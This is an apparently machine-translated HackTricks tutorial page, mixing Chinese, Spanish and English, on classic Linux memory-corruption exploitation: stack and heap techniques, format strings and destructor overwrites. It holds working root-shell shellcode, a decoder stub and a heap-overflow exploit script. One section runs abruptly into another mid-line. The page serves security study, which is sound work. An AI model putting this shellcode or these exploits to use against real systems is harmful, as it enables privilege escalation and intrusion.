hacktricks/exploiting/linux-exploiting-basic-esp
2024-03-31 10:06:33 +00:00
..
rop-leaking-libc-address Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
bypassing-canary-and-pie.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
format-strings-template.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
fusion.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-03-31 10:06:33 +00:00
ret2lib.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
rop-syscall-execv.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00

Linux Exploiting (Basic) (SPA)

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

2.SHELLCODE

View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 as there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall

nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Generates an executable with the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes

Verify that the shellcode works

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

为了确保系统调用被正确执行,应编译前一个程序并在strace ./COMPILADO_程序中查看系统调用。

在创建shellcode时可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码并将EIP放入堆栈。在call指令之后我们已经放入了所需的字符串因此可以使用该EIP指向字符串并继续执行代码。

EJ TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

使用堆栈(/bin/sh)的简单ESP

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:
EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Hunter:

这是一小段代码用于遍历与进程关联的内存页面以寻找其中存储的shellcode查找shellcode中的某个签名。在只有少量空间用于注入代码的情况下非常有用。

多态Shellcode

这些是加密的shellcode其中包含一小段代码用于解密并跳转到它使用Call-Pop技巧这是一个凯撒加密的示例

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.补充方法

Ret2Ret

适用于无法将堆栈地址放入EIP检查EIP不包含0xbf或无法计算shellcode位置的情况。但是易受攻击的函数接受一个参数shellcode将放在这里

因此通过将EIP更改为ret地址将加载下一个地址即函数的第一个参数的地址。换句话说将加载shellcode。

Exploit示例SHELLCODE +填充直到EIP+ &ret堆栈的下几个字节指向shellcode的开头因为将参数传递给堆栈中

似乎像strncpy这样的函数一旦完成就会从堆栈中删除存储shellcode的地址从而使这种技术无法实现。换句话说传递给函数的参数地址存储shellcode的地址被0x00修改因此在调用第二个ret时会遇到0x00程序将终止。

Murat技术

在Linux中所有程序都从0xbfffffff开始映射

通过查看Linux中新进程堆栈的构建方式可以开发一种利用程序在仅有shellcode变量的环境中启动的方法。因此其地址可以计算为addr = 0xbfffffff - 4 - strlen(FULL_EXECUTABLE_NAME) - strlen(shellcode)

这样可以轻松获得包含shellcode的环境变量的地址。

这是因为execle函数允许创建仅包含所需环境变量的环境

整数溢出

当变量无法处理传递给它的如此大的数字时,就会发生这种类型的溢出,可能是由于有符号和无符号变量之间的混淆,例如:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

在上面的示例中我们可以看到程序期望接收2个参数。第一个是下一个字符串的长度第二个是字符串本身。

如果我们将第一个参数设为负数,将会显示 len < 256我们会通过这个过滤器并且 strlen(buffer) 也会小于 l因为 l 是无符号整数,会非常大。

这种溢出类型并不是为了在程序进程中写入内容,而是为了绕过设计不良的过滤器以利用其他漏洞。

未初始化的变量

未初始化的变量可能会取得意想不到的值,观察这一点可能会很有趣。它可能会取决于前一个函数中某个变量的值,而这个变量可能会受到攻击者的控制。

.fini_array

本质上,这是一个包含在程序结束前将被调用的函数的结构。如果你可以通过跳转到一个地址来调用你的 shellcode或者在需要再次返回到主函数以便第二次利用格式化字符串漏洞时这就变得很有趣。

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

请注意这不会创建一个永久循环因为当你回到主函数时canary会注意到栈的末尾可能已经被破坏函数不会再次被调用。因此通过这种方法你将能够多执行一次漏洞。

格式化字符串以转储内容

格式化字符串也可以被滥用来从程序内存中转储内容。
例如在以下情况下栈中有一个指向标志的本地变量。如果你找到内存中指向标志的指针在哪里你可以使printf访问该地址并打印标志

所以,标志在0xffffcf4c

从泄漏中你可以看到指向标志的指针在第8个参数中

因此访问第8个参数你可以获得标志

请注意,根据先前的利用并意识到你可以泄漏内容,你可以将指针设置到printf加载的可执行部分并将其完全转储!

DTOR

{% hint style="danger" %} 现在很少见到带有dtor部分的二进制文件。 {% endhint %}

析构函数是在程序结束之前执行的函数。
如果你设法将一个shellcode的地址写入__DTOR_END__,那么在程序结束之前将执行它。
获取此部分的地址:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

通常你会在值ffffffff00000000之间找到DTOR部分。因此,如果你只看到这些值,这意味着没有任何函数注册。因此,覆盖00000000地址以执行shellcode

格式化字符串到缓冲区溢出

sprintf将格式化字符串移动到一个变量。因此,你可以滥用字符串的格式来导致变量中的缓冲区溢出
例如,有效载荷%.44xAAAA将在变量写入44B+"AAAA",这可能会导致缓冲区溢出。

__atexit 结构

{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}

atexit()是一个函数,其他函数作为参数传递给它。这些函数将在执行**exit()main返回时执行。
如果你可以
修改其中任何一个函数地址**使其指向一个shellcode那么你将控制这个进程,但目前这更加复杂。
目前要执行的函数的地址被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是用XOR加密随机密钥进行位移。因此目前这种攻击方式在至少在x86和x64_86上不太有用
加密函数是**PTR_MANGLE。其他架构如m68k、mips32、mips64、aarch64、arm、hppa...不实现加密函数,因为它返回与输入相同**的值。因此,这些架构可以通过这种方式受到攻击。

setjmp() 和 longjmp()

{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}

Setjmp()允许保存上下文(寄存器)
longjmp()允许恢复上下文。
保存的寄存器是:EBX, ESI, EDI, ESP, EIP, EBP
问题在于EIP和ESP通过**PTR_MANGLE函数传递,因此易受攻击的架构与上述相同**。
它们对错误恢复或中断很有用。
但根据我所了解,其他寄存器没有受到保护,因此如果在被调用的函数内部有call ebxcall esicall edi就可以接管控制权。或者还可以修改EBP以修改ESP。

VTable 和 VPTR 在 C++ 中

每个类都有一个Vtable,它是一个指向方法的数组。

每个的对象都有一个VPtr,它是指向其类数组的指针。VPtr是每个对象头的一部分因此如果覆盖VPtr,它可以被修改指向一个虚拟方法这样执行函数就会转到shellcode。

预防措施和规避

替换 Libsafe

通过以下方式激活LD_PRELOAD=/lib/libsafe.so.2

“/lib/libsave.so.2” > /etc/ld.so.preload

它会将对一些不安全函数的调用拦截并替换为安全函数。这不是标准化的仅适用于x86不适用于使用-fomit-frame-pointer编译不适用于静态编译不是所有易受攻击的函数都变得安全LD_PRELOAD在具有suid权限的二进制文件中无效

ASCII 装甲地址空间

将共享库加载到0x00000000至0x00ffffff以便始终存在一个字节0x00。然而这实际上几乎无法阻止任何攻击尤其是在小端系统中。

ret2plt

通过ROP调用plt中的strcpy函数并指向GOT的入口将要调用的函数system()的第一个字节复制过来。然后重复这个过程指向GOT+1并复制system()的第二个字节... 最后调用GOT中保存的地址这将是system()。

使用 chroot() 创建牢笼

debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统

管理员可以通过以下方式离开这些牢笼mkdir foo; chroot foo; cd ..

代码插桩

Valgrind —> 检查错误
Memcheck
RADReturn Address Defender
Insure++ shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1

fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre

addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno

got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí

payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12

os.system("./8.3.o " + payload)

unset() liberando en sentido inverso (wargame)

Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.

En ese caso:

En el chunck c se pone el shellcode

El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre.

Además, se sobreescribe en la cabecera b el size para que valga -4.

Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.

De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.

Técnica de Frontlink

Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().

Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).

Necesita:

Un buffer que pueda desbordarse con la función de entrada de datos

Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior

Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior

Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este

De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.

Vulnerabilidad double free()

Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.

En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.

After free()

Un puntero previamente liberado es usado de nuevo sin control.

8 Heap Overflows: Exploits avanzados

Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().

The house of mind

Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.

Una llamada a free() provoca llamar a public_fREe(mem), este hace:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

En [1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)

De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en 0x081002a0 podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo 0x0804a000. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)

De esta forma se llama a _int_free(ar_ptr, mem), es decir, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.

Tal y como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Por lo tanto si en av->bins[2] escribimos el valor de __DTOR_END__-12 en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo trozo.

Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de __DTOR_END__-12 porque de ahí la sacará av->bins[2]

En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins[2]

En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA

A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode

De esta forma se llamará a _int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en __DTOR_END__ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. 为了应用这种技术,需要满足一些要求,这些要求会使 payload 变得更加复杂。

这种技术已不适用,因为几乎与 unlink 应用了相同的补丁。它会比较新指向的站点是否也指向它。

Fastbin

这是 The house of mind 的一个变体

我们希望执行以下代码,这需要通过 _int_free() 函数的第一个检查后才能到达:

fb = &(av->fastbins[fastbin_index(size)] —> 其中 fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

这样如果将“fb”设置为指向 GOT 中的一个函数的地址,然后在这个地址上放置被覆盖的块的地址。为此,需要使堆区域接近 dtors 的地址。更准确地说av->max_fast 必须位于我们将要覆盖的地址处。

由于 The House of Mind 中我们发现我们控制了 av 的位置。

因此,如果在 size 字段中放入一个大小为 8 + NON_MAIN_ARENA + PREV_INUSE 的值fastbin_index() 将返回 fastbins[-1],它将指向 av->max_fast。

在这种情况下av->max_fast 将是被覆盖的地址(不是指向的地址,而是被覆盖的位置)。

此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 8在这个虚假块中我们只需要放置一个大于 8 的大小(由于 shellcode 将放在释放的块中,因此需要在开头放置一个跳转到 nops 的 jmp

此外,这个虚假块的大小必须小于 av->system_mem。av->system_mem 位于该位置的后面 1848 字节。

由于 _DTOR_END_ 中的空值和 GOT 中的少量地址,这些部分的任何地址都不适合被覆盖,因此让我们看看如何应用 fastbin 来攻击堆栈。

另一种攻击方式是将 av 重定向到堆栈。

如果我们将 size 修改为 16 而不是 8则 fastbin_index() 将返回 fastbins[0],我们可以利用这一点来覆盖堆栈。

为此,堆栈中不应该有任何 canary 或奇怪的值实际上我们必须处于这种情况下4 个空字节 + EBP + RET

需要这 4 个空字节是因为 av 将指向这个地址,而 av 的第一个元素是必须为 0 的 mutex。

av->max_fast 将是 EBP并且将是一个值可用于绕过限制。

av->fastbins[0] 将被覆盖为 p 的地址,并且将成为 RET从而跳转到 shellcode。

此外,在 av->system_mem(比堆栈位置高出 1484 字节)将有足够的垃圾,可帮助我们绕过执行的检查。

此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 16在这个虚假块中我们只需要放置一个大于 8 的大小(由于 shellcode 将放在释放的块中,因此需要在开头放置一个跳转到新虚假块的大小字段后的 nops

The House of Spirit

在这种情况下,我们希望有一个指向 malloc 的指针,该指针可以被攻击者修改(例如,该指针位于堆栈上,可能会发生变量溢出)。

因此,我们可以使该指针指向任何地方。然而,并非所有位置都是有效的,虚假块的大小必须小于 av->max_fast并且更具体地等于未来对 malloc() 的调用请求的大小加 8。因此如果我们知道在这个易受攻击的指针之后会调用 malloc(40),那么虚假块的大小必须等于 48。

例如,如果程序要求用户输入一个数字,我们可以输入 48并将可修改的 malloc 指针指向接下来的 4 个字节(可能属于 EBP这样 48 就会留在后面,就像是大小字段)。此外,地址 ptr-4+48 必须满足几个条件(在这种情况下 ptr=EBP即 8 < ptr-4+48 < av->system_mem。

如果这些条件满足,当调用我们说过的下一个 malloc即 malloc(40) 时,它将把 EBP 的地址分配为地址。如果攻击者还可以控制在此 malloc 中写入的内容,那么可以覆盖 EBP 和 EIP使其指向任意地址。

我认为这是因为这样,当调用 free() 时,它将保存指向堆栈 EBP 的地址上有一个完美大小的新 malloc() 块,因此将分配该地址。

The House of Force

需要:

  • 一个允许覆盖 wilderness 的块的溢出
  • 使用用户定义大小的 malloc() 调用
  • malloc() 调用的数据可以由用户定义

首先要做的是用一个非常大的值0xffffffff覆盖 wilderness 块的大小size这样任何足够大的内存请求都将在不需要扩展堆的情况下在 _int_malloc() 中处理。

其次是修改 av->top使其指向攻击者控制的内存区域如堆栈。在 av->top 中,将放置 &EIP - 8。

我们必须覆盖 av->top使其指向攻击者控制的内存区域

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim 获取当前 wilderness 块的地址(当前 av->top的值remainder 正好是该地址加上 malloc() 请求的字节数。因此,如果 &EIP-8 在 0xbffff224av->top 包含 0x080c2788则为了使 av->top 指向 $EIP-8 以供下一个 malloc() 使用,需要在受控制的 malloc 中保留的数量为:

0xbffff224 - 0x080c2788 = 3086207644。

这样就保存了修改后的 av->top 值,下一个 malloc 将指向 EIP并且可以被覆盖。

重要的是要确保新 wilderness 块的大小大于最后一个 malloc() 请求的大小。也就是说,如果 wilderness 指向 &EIP-8则大小将正好位于堆栈的 EBP 字段中。

The House of Lore

SmallBin 损坏

释放的块根据其大小放入 bin 中。但在放入之前,它们会被保存在 unsorted bins 中。释放块不会立即放入其 bin 中,而是留在 unsorted bins 中。然后,如果分配新块并且先前释放的块可以满足需求,则将其返回,但如果分配更大的块,则将 unsorted bins 中的释放块放入适当的 bin 中。

要达到易受攻击的代码,内存请求必须大于 av->max_fast通常为 72且小于 MIN_LARGE_SIZE512

如果 bin 中有一个大小适合请求的块,则在解除链接后返回该块:

bck = victim->bk; 指向前一个块,这是我们唯一可以修改的信息。

bin->bk = bck; 倒数第二个块变为最后一个块,如果 bck 指向堆栈,则下一个分配的块将指向该地址

bck->fd = bin; 关闭列表,使其指向 bin

需要:

基本的堆溢出攻击

  • 预留两个malloc,第一个可以在第二个被释放并进入其 bin 后进行溢出(即在溢出之前分配一个比第二个块更大的 malloc
  • 攻击者控制分配给其选择地址的 malloc 的地址
  • 目标是通过溢出一个堆,该堆下面有一个已经被释放并在其 bin 中的块,可以修改其指针 bk。如果修改了 bk 指针,并且该块成为 bin 列表中的第一个块并被分配,则 bin 将被欺骗,并告诉下一个要提供的块位于我们设置的虚假地址(例如堆栈或 GOT。因此如果再次分配另一个块并且攻击者有权限则将在所需位置给出一个块并且可以在其中写入。

大型 Bin 破坏

  • 需要与之前相同的要求以及更多要求,此外,分配的块大小必须大于 512
  • 攻击类似于之前的攻击,即需要修改 bk 指针并进行所有这些 malloc() 调用,但还需要修改已修改块的大小,使得 size - nb 小于 MINSIZE
  • 例如,将大小设置为 1552使得 1552 - 1544 = 8 < MINSIZE减法不能为负因为它比较的是无符号数

堆喷射

  • 基本上是预留尽可能多的堆内存,并用一段 shellcode 结尾的 nop 垫填充这些内存。此外,将 0x0c 用作垫。因此,将尝试跳转到地址 0x0c0c0c0c因此如果覆盖了将要调用的任何地址它将跳转到那里。基本上策略是尽可能多地预留内存以查看是否覆盖了任何指针并跳转到 0x0c0c0c0c希望那里有 nop。

堆风水

  • 通过预留和释放来巩固内存,使得在空闲块之间留下已分配的块。要溢出的缓冲区将位于其中一个空闲块中。

有趣的课程

参考资料